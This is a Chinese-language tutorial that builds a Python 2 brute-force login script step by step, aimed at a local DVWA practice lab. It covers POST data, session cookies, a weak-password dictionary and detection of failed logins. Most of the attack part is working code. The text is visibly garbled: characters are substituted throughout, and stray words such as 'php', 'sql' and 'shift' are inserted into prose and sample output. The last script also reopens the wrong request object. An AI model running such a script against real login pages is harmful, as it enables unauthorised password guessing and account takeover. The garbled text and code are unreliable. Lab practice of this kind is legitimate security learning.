Hack with python(一)

[此文原先在論壇上,後來整理文章時從論壇更新到博客上]php

實驗環境:
     dvwa 1.7
     python 2.7
關於怎麼搭建環境,咱們能夠看以前的這篇帖子

目的:
     一點、一點的開始學習用python編寫腳本
     熟悉python的urllib、urllib2這兩個模塊,而且開始寫出一個能夠暴力破解的腳本
    這裏咱們先來看一下,python的基本語法


html

一、它是一種弱類型的編程語言,變量不用聲明類型
如:
>>>url = 'http://www.51cto.com'

二、當咱們想將這個變量顯示出來的時候,咱們須要作的就是用print這個語句,其後面跟的是變量名或者字符串
如:
>>>print url
http://bbs.51cto.com/

三、好了,假如咱們想模仿瀏覽器去請求這個網頁,該怎麼作呢?這個時候就須要用到咱們前面提到的urllib2這個庫了,它裏買你包含有請求的方法urlopen,那麼該如何操做呢?
#先是導入咱們須要用的庫
#而後咱們調用這個庫裏面的方法urlopen,這裏得加上庫名.而後咱們將它獲取的內容賦值給result
>>>import urllib2
>>>result = urllib2.urlopen(url)

四、上面的兩步,咱們得到了關於url內容的一個對象,這裏咱們來學習一個函數type(),這個函數是返回變量的類型的.
>>>type(result)
<type 'instance'>
能夠看到這個咱們沒法將其用print將其的內容顯示出來,因此咱們還得學者用一個方法。這個read()方法是result自己包含的。它將會返回咱們要請求網頁的內容,以字符串形式!也就是咱們能夠打印出來了
>>>content = result.read()
>>>print content
xxxxx


 

五、經過上面四步,咱們訪問了論壇首頁,而且將其內容GET下來,那麼下面咱們開始咱們暴力破解腳本學習。

但在開始寫暴力破解腳本前,咱們得懂得什麼是POST請求方法。它和GET有什麼不一樣

GET和POST兩種方法均可以提交用戶方面的數據,
(1)GET請求的時候會把用戶的信息添加在url上。‘?’後面的內容爲請求的參數,它的出現以名值對的方式,即para = 123,其中'&'符號表示and,即還有其餘的參數。
因此下面的例子提交的參數有兩個
http://www.example.com/login.php?username=skytina&password=123456


username=skytina
password=123456


(2)POST請求的時候則不會將用戶的信息直接添加在url上,而是經過在http請求頭部包含進用戶的信息。下面咱們用例子來講明
這裏建議你下載一個火狐瀏覽器,其餘瀏覽器也是能夠的,咱們按F12鍵,切換到網絡頁面!

以下圖:


而後咱們在dvwa漏洞學習系統那裏輸入帳號和用戶名,點擊‘Login’的時候,咱們能夠看到下面的內容。
而後咱們點開POST請求的那個記錄,這時候咱們能夠看到下面的內容! 
這個就是咱們登陸的時候的記錄,咱們post咱們的帳號和密碼到login.php。
咱們能夠看一下請求頭的內容,這部分是咱們發出去的。
    [1]Referer:這部分是表示,這個請求來自那裏的,能夠發現這二個url(也就是網址)並無附帶有參數。
    這個時候咱們,單擊參數這個標籤,能夠發現咱們在點擊登陸的時候,

 
    [2]Cookie:當咱們請求這個login.php的時候,便開始了一個session(會話),也就是這個屬於咱們的身份認證!這個咱們須要發回服務器端,同時能夠看到有個'high',這個是dvwa漏洞系統的安全等級!要是不把Cookie回發的話,服務器會認爲咱們是第一次訪問login.php,這樣便會致使post發送的數據失效。因此在編寫爆破腳本的時候,須要加上這個!(若是有疑惑,請看最下面的更新內容)

發送了三個數據到login.php。
username:admin
password:123456
Login:Login
python


也就是說一次正常的登陸請求會發出下面的這些內容,假若咱們要進行暴力破解的話,咱們須要修改的是password這個對應的數值。
這時候咱們來看一下頁面上有什麼信息嗎?
 
能夠發現,當登陸失敗的時候會有‘Login failed’這個字眼,也就是說,咱們須要在返回的網頁判斷是否存在這個字眼。
好,一切準備工做就緒,但在開始咱們開始寫咱們的暴力破解腳本以前,咱們還須要準備一些內容。

(3)一個關於弱口令的密碼字典,由於暴力破解就是不斷枚舉字典裏面的數據來嘗試登錄!
通常採用字典生成工具來生成字典,我這裏採用的是希希字典生成工具,比較喜歡它的緣由是,是由於它符合國人的密碼設置規律。
     可是通常咱們不可能盲目的去生成字典,我須要收集關於網站管理人員或者被受權人員信息的一些狀況。
    對於咱們的測試系統來講。
    首先咱們先想到的是經常使用的管理員帳號‘admin’。
    並且系統是國外的,因此咱們應該下一些國外的經常使用弱口令字典。這裏咱們不用這麼麻煩,直接使用希希字典的生成弱口令功能。
    這裏打開了希希密碼以後,先看到是這樣的窗口,能夠看到一開始咱們處於弱口令生成窗口!

            
sql

    這裏咱們只須要簡單的弱口令,因此咱們把複雜程度調整到簡單,
             
    以後咱們調整生成的選項,這裏調整混合深度
             
    混合深度爲一,也就是隻包含密碼因子一次,咱們這裏的密碼因子是弱口令。
    好比:12345六、qwert,654321,是弱口令,混合深度爲1
    則弱口令各自獨立存在,也就是三個弱口令。
    但混合深度爲2的時候,123456qewrt這種類型!
    這裏咱們生成的密碼字典文件名成爲‘weak_password.txt’
編程

 


六、通過第五步,咱們知道咱們接下來編寫腳本的要求
post 方式 發送數據請求 "http://localhost/dvwa/login.php"
post的數據有三個
username=xxx
password=xxx
Login=Login
windows


(1)打開你的字典文件,python內置了一個open函數。原型以下圖,使用它打開一個已有的文件,會返回一個文件對象!
open(...)
open(name[, mode[, buffering]]) -> file object
第一個參數爲文件名,第二參數爲打開文件的模式,第三個指定緩衝區模式。[xxx]裏面的都是可選項,必須的只是文件名,其默認的打開方式爲只讀
>>>passdict = open('d:\\weak_password.txt','r')
>>>print passdict.readline()
shift

咱們打開咱們的字典文件,能夠看到咱們顯示出來的內容正是字典文件的第一條內容!可是在這裏發現有一個空行,這個怎麼來的呢?這裏咱們使用urllib庫的urlencode這個函數來看一下數據後面是否跟着什麼,這裏說一下urlencode。由於在url只支持可打印字符,同時裏面一些特殊的字符有特定的含義,

好比:
‘+’:表明的是空格
‘&’:參數的間隔符
‘?’:這個鏈接字符,鏈接後面的參數值
這樣,當咱們須要使用這些字符的時候,咱們須要對其進行url編碼!其編碼形式是一個‘%’加上兩位十六進制的數值
>>>import urllib
>>>print urllib.quote(passdict.readline())
ctrl%0A

上面的quote函數,它的做用是字符串進行url編碼!這時候咱們對應字典,發現它多出了%0A的內容,它對應ascii表的換行符。在windows上換行符是有‘\r\n’組成。所以咱們要處理這個換行符,不然他會破壞咱們發送的數據。

這個時候咱們會使用string對象中的strip()這個函數,它默認是去處左右兩旁的空格。它的第二個參數提供了其餘字符的選擇。

>>>import string
>>>print urllib.quote(string.strip(passdict.readline(),'\r\n'))
delete
能夠發現此次數據後面沒有多餘的內容,讀取密碼字典這部分,咱們完成了。

(2)這些模塊測試完了,咱們開始要開始在文件上寫了,點擊File--New File.這裏咱們將會用到循環語句while。由於咱們要不斷的從字典文件裏讀取數據,而後再發送。當讀取到文件結尾的時候,readline()會返回空字符串'',注意一下while語句後面有個':'表示以後的是語句塊,也就是一坨代碼!

     這裏還要說一下的就是,python不一樣的語句塊是靠縮進來進行的,通常採用四個空格或者TAB鍵,也就是說,下面的while語句塊裏面的內容是縮進的那部分!
瀏覽器

import urllib
import urllib2
import string

passdict = open('d:\weak_password.txt','r')
password = passdict.readline()
while password != '':
     password = string.strip(password,'\r\n')
     print password
     password = passdict.readline()
print 'Done'


     這裏咱們是輸出字典文件裏面的值,這個模塊好了。咱們再來看一下兩個內容
    (1) 一個是urllib2.Request請求類,咱們經過這個類來生成咱們的http請求對象
     其構造函數的經常使用的參數以下

安全

req = urllib2.Request(url[,data,header])

能夠看到url,使咱們即將發送post數據的網址,而剩下兩個data以及header都是可選的!當包含data的時候,則採用post的方式請求網頁!data使咱們要發送的表單數據,header這個則包含了Cookie信息,以便維持咱們的訪問以及告訴服務器,咱們不是第一次訪問該頁面。

     (2)可是要是咱們的data包含一些特殊字符的時候,就會有問題。好比咱們的‘&’,‘#’,‘?’,‘+’,因此這個時候要用到一個函數,來將咱們的data進行url編碼。
     最終形態以下

服務器

req = urllib2.Request(url,urllib.encode(data),header)

     而後就像咱們get的請求同樣使用urllib2.urlopen(req)就能夠了
     (3)Post的數據從那裏來,這裏咱們將會介紹一個內容字典。
     首先咱們建立一個空字典,字典的符號是'{}'大括號包含內容,以後往裏面添加內容。字典是名值對的形式,咱們能夠經過名在字典中找到那個值。就像在學校,咱們能夠經過學號來找到對應學生的名字.
     由於咱們要發送三個數據,因此咱們一次添加。這裏由於咱們猜想管理員帳號爲admin,因此使用它來進行硬編碼。

網絡

     data = {}
     data['username'] = 'admin'
     data['Login'] = 'Login'

     這個時候是否是該寫data['password']了,但是,這個值正是要放到循環裏面的,因此修改事後。會成這樣!咱們把原來要打印的password值,放到字典裏面了

import urllib
import urllib2
import string

data = {}
data['username'] = 'admin'
data['Login'] = 'Login'
passdict = open('d:\weak_password.txt','r')
password = passdict.readline()
while password != '':
     password = string.strip(password,'\r\n')
     data['password'] = password
     password = passdict.readline()
print 'Done'


     (4)到了這裏,咱們再看回前面發送請求的時候,還有含有Cookie,這個Cookie是咱們保持會話的保證。也就是咱們須要將其從新發回給服務器。而Cookie是包含在http請求頭部的。咱們仍是採用字典來實現包含這個數據,這裏咱們介紹了字典第二種添加數據方式,就是在一開始使用'':''的形式建立一個名值對,不一樣的名值對用‘,’分隔開!

header = {
'Referer':'http://localhost/dvwa/login.php',
'Cookie':'security=high; PHPSESSID=o86p8vaae17mp7gpme6bm3n9u3'
}

   如今咱們再來看看咱們的暴力破解腳本

import urllib
import urllib2
import string

url = 'http://localhost/dvwa/login.php'
header = {'Cookie':'security=high;PHPSESSID=o86p8vaae17mp7gpme6bm3n9u3'}
data = {}
data['username'] = 'admin'
data['Login'] = 'Login'
passdict = open('d:\\weak_password.txt','r')
password = passdict.readline()
while password != '':
    password = string.strip(password,'\r\n')
    data['password'] = password
    req = urllib2.Request(url,urllib.urlencode(data),header)
    result = urllib2.urlopen(req)
    content = result.read()
    password = passdict.readline()
print 'Done'

     
    到這裏咱們還沒進行判斷,怎麼樣纔算是登陸成功或者登陸失敗!想想,前面咱們分析請求的時候,登陸失敗的時候網頁會有‘failed’這個字眼,也就說,在返回的網頁內容中,只要找到failed的存在,則說明登陸失敗!
     那麼這裏咱們使用string裏面的一個函數find()

string.find(s,substr)

     這裏s是被查找的字符串,也就會content。substr是咱們判斷登陸失敗或者錯誤的那部分字符串,也就是'failed'。當找不到substr的時候,函數返回-1.找到的話,返回substr在字符串的索引!
     因此最終咱們的腳本是

import urllib
import urllib2
import string

url = 'http://localhost/dvwa/login.php'
header = {'Cookie':'security=high; PHPSESSID=o86p8vaae17mp7gpme6bm3n9u3'}
data = {}
data['username'] = 'admin'
data['Login'] = 'Login'
passdict = open('d:\\weak_password.txt','r')
password = passdict.readline()
while password != '':
    password = string.strip(password,'\r\n')
    data['password'] = password
    req = urllib2.Request(url,urllib.urlencode(data),header)
    result = urllib2.urlopen(req)
    content = result.read()
    if string.find(content,'failed') == -1:
        print 'Username:admin Password:'+password
    else:
        print 'login failed'
    password = passdict.readline()
print 'Done'

最後,咱們測試一下。看一下效果

     
     到此,咱們hacking python的第一課算是完結了。下一節,咱們將會介紹怎麼利用sql注入來繞過登陸驗證!

------------2015-3-17更新
      
@月流霜 謝謝流霜的指出一些不足之處。

      wKioL1YIxr6TNFiAAAH9pgK6Q54950.jpg      這裏咱們來講一下,
      一、爲何上面要加Cookie,要是不加Cookie的話會怎樣?
      答:咱們先來看一下不加Cookie返回的頭部是什麼。這裏咱們須要用到info函數,這個info函數將會返回咱們請求頁面的HTTP頭部。咱們只須要在
content = result.read()前面加上一條語句,

print str(result.info())

      這裏我爲了測試,把字典減小了不少。F5運行,下面看一下運行結果
 
     能夠看到有每一次請求,都會引起服務器端進行一次Session分配,也就說,服務器沒法知道咱們是否已經得到Session。只有咱們在http頭部假如Session才能讓服務器知道咱們已經得到Session值了,能夠接收個人POST數據了進行接下操做了。
      要是不加Cookie,咱們則會一直至關於GET方式訪問login.php。
      二、怎樣才能夠不用像傻瓜同樣手動加Cookie呢?
      既然知道問題出如今那裏了,那咱們腫麼辦呢?
      難道每次都手動添加??
      人家不是給咱們在返回的網頁中分配了一些SessionId的數值了麼?咱們只須要找出那些值即可以了。
      這裏須要使用了string庫提供的一個函數
      index(s, sub [,start [,end]]) -> int
      s是被查找的字符串,sub爲想要查找的字符串,後面兩個參數分別爲查找的範圍。
      首先分析一個返回的HTTP頭部,形如:

        Date: Tue, 17 Mar 2015 12:27:56 GMT
        Server: Apache/2.2.21 (Win64) PHP/5.3.10
        X-Powered-By: PHP/5.3.10
        Set-Cookie: PHPSESSID=dajgqkai3q6e35d4r8fqjkjrc5; path=/
        Expires: Tue, 23 Jun 2009 12:00:00 GMT
        Cache-Control: no-cache, must-revalidate
        Pragma: no-cache
        Set-Cookie: security=high
        Content-Length: 1224
        Connection: close
        Content-Type: text/html;charset=utf-8

       咱們所須要是PHPSESSID的內容,首先或這個子串的索引位置start,而後咱們能夠看到這個Session的值以';'結尾,因而咱們根據content[start:end]來獲取Session的值。

        content = str(request.info())
        start = string.index(content,'PHPSESSID')
        end = string.index(content,';')
        header['Cookie'] = content[start:end]

       這樣咱們就能夠將Session的值添加到HTTP請求頭部去,可是等等,咱們的代碼在循環中,腫麼辦?
       別擔憂,Request對象有一個方法是用來判斷有沒有指定的HTTP頭部值,這個函數就是has_header(headername)。
       咱們能夠這樣來判斷

if not req.has_header('Cookie'):
    content = str(result.info())
    start = string.index(content,'PHPSESSID')
    end = string.index(content,';')

這裏咱們只是獲取了Session值,咱們須要再次提交咱們的請求,帶上咱們得到的Session值。就會變成這樣

import urllib
import urllib2
import string


url = 'http://localhost/dvwa/login.php'
header = {
    'Connection':'keep-alive',
    }
data = {}
data['username'] = 'admin'
data['Login'] = 'Login'
passdict = open('d:\\weak_password.txt','r')
password = passdict.readline()
while password != '':
    password = string.strip(password,'\r\n')
    data['password'] = password
    req = urllib2.Request(url,urllib.urlencode(data),header)
    result = urllib2.urlopen(req)
    if not req.has_header('Cookie'):
        content = str(result.info())
        start = string.index(content,'PHPSESSID')
        end = string.index(content,';')
        header['Cookie'] = content[start:end]
        _req = urllib2.Request(url,urllib.urlencode(data),header)
        result = urllib2.urlopen(req)
    content = result.read() 
    if string.find(content,'failed') == -1:
        print 'Username:admin Password:'+password
        #print content;
    else:
        print 'login failed'
    password = passdict.readline()
print 'Done'

好了,此次咱們解決了手動添加Cookie的問題,是否是感受本身又漲知識了。
    騷年,一點點的成長吧!

         

[資源連接:]

希希密碼:[Click Here]
關於密碼設置規律,這裏有篇文章能夠參考![
Click Here]
個人小夥伴 
@niuyuanwu  以前一篇頗有價值的文章[Click Here]

相關文章
相關標籤/搜索